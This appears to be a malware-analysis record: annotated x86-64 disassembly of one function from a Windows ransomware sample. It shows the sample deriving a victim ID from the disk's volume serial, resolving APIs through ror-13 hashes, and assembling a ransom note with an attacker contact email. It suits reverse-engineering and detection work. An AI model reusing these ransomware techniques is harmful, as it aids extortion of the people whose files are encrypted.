Function at 0x140041ad0
Capabilities:
Get disk information
Reference public rsa key

Disassembly:
sub rsp, 0x528
mov rax, qword [0x1400d9080]
xor rax, rsp
mov qword [rsp + 0x510], rax
xor edx, edx
lea rcx, [rsp + 0x300]
mov r8d, 0x20a
call fcn.1400ac340
xor edx, edx
lea rcx, [rsp + 0xf0]
mov r8d, 0x20a
call fcn.1400ac340
xor eax, eax
mov dword [rsp + 0x38], 0x105
mov dword [rsp + 0x40], eax
lea r9, [rsp + 0x40]
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x300]
mov dword [rsp + 0x44], eax
lea rcx, [0x1400bd6c0]
lea rax, [rsp + 0xf0]
mov r8d, 0x105
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x140041be9
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140041680
cmp qword [rsp + 0x68], 7
lea r9, [rsp + 0x50]
lea r8, [0x1400bd6c8]
mov edx, 0x10
cmova r9, qword [rsp + 0x50]
lea rcx, [0x1400dd1c0]
call fcn.140041560
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140041c11
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041be2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041e1d
call fcn.14007ee04
jmp 0x140041c11
mov eax, dword [0x1400bd6e0]
movups xmm0, xmmword [str..Encrypted]
mov dword [0x1400dd1d0], eax
movzx eax, word [0x1400bd6e4]
movups xmmword [0x1400dd1c0], xmm0
mov word [0x1400dd1d4], ax
mov qword [rsp + 0x530], rbx
mov ebx, 0xffffffff
mov qword [rsp + 0x538], rbp
mov qword [rsp + 0x540], rsi
mov esi, 0x115
mov qword [rsp + 0x548], rdi
lea rdi, [0x1400bad60]
mov qword [rsp + 0x520], r14
mov rbp, rdi
mov r14d, esi
movzx ecx, byte [rbp]
lea rbp, [rbp + 1]
call fcn.140085c78
ror ebx, 0xd
movzx ecx, ax
add ebx, ecx
add r14d, 0xffffffff
jne 0x140041c50
mov rbp, rdi
mov r14d, esi
movzx ecx, byte [rbp]
lea rbp, [rbp + 1]
call fcn.140085c78
ror ebx, 0xd
movzx ecx, ax
add ebx, ecx
add r14d, 0xffffffff
jne 0x140041c71
mov rbp, rdi
mov r14d, esi
movzx ecx, byte [rbp]
lea rbp, [rbp + 1]
call fcn.140085c78
ror ebx, 0xd
movzx ecx, ax
add ecx, ebx
mov ebx, ecx
add r14d, 0xffffffff
jne 0x140041c92
mov r14, qword [rsp + 0x520]
lea r8, str.___X__
mov rbp, qword [rsp + 0x538]
mov r9d, ecx
lea rcx, [rsp + 0x70]
mov edx, 0x80
call fcn.140041620
mov edx, 0xf
mov r8d, 0x623e9318
lea r9d, [rdx + 0x3f]
call fcn.14000b050
call rax
mov edx, 0xf
mov r8d, 0xe343b540
mov rbx, rax
lea r9d, [rdx + 0x40]
call fcn.14000b050
mov edx, 8
mov r8d, 0x4000
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x530]
mov qword [0x1400dd1b8], rax
test rax, rax
je 0x140041d50
lea rcx, str._systemic50
mov qword [rsp + 0x20], rcx
lea r9, str.adm.systemic_gmail.com
mov rcx, rax
lea r8, [rsp + 0x70]
lea rdx, str.Your_Files_Have_Been_Locked__r_n_r_nImportant_Notice__r_nAll_of_your_essential_files_have_been_encrypted_and_secured_by_our_sophisticated_technology._r_nTo_regain_access__youll_need_our_unique_decryption_software
call fcn.1400415c0
mov r8d, 0xffffffff
mov r10d, esi
mov r9, rdi
nop dword [rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
ror r8d, 0xd
mov ecx, edx
or ecx, 0x20
lea eax, [rdx - 0x41]
cmp eax, 0x19
cmova ecx, edx
add r8d, ecx
add r10d, 0xffffffff
jne 0x140041d60
mov r10d, esi
mov r9, rdi
nop dword [rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
ror r8d, 0xd
mov ecx, edx
or ecx, 0x20
lea eax, [rdx - 0x41]
cmp eax, 0x19
cmova ecx, edx
add r8d, ecx
add r10d, 0xffffffff
jne 0x140041d90
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rdi]
lea rdi, [rdi + 1]
ror r8d, 0xd
mov ecx, edx
or ecx, 0x20
lea eax, [rdx - 0x41]
cmp eax, 0x19
cmova ecx, edx
add r8d, ecx
add esi, 0xffffffff
jne 0x140041dc0
mov rdi, qword [rsp + 0x548]
lea rdx, [0x1400bd718]
mov rsi, qword [rsp + 0x540]
lea rcx, [0x1400dd4a0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x510]
xor rcx, rsp
call fcn.14007e7e0
add rsp, 0x528
ret
call fcn.140085614
int3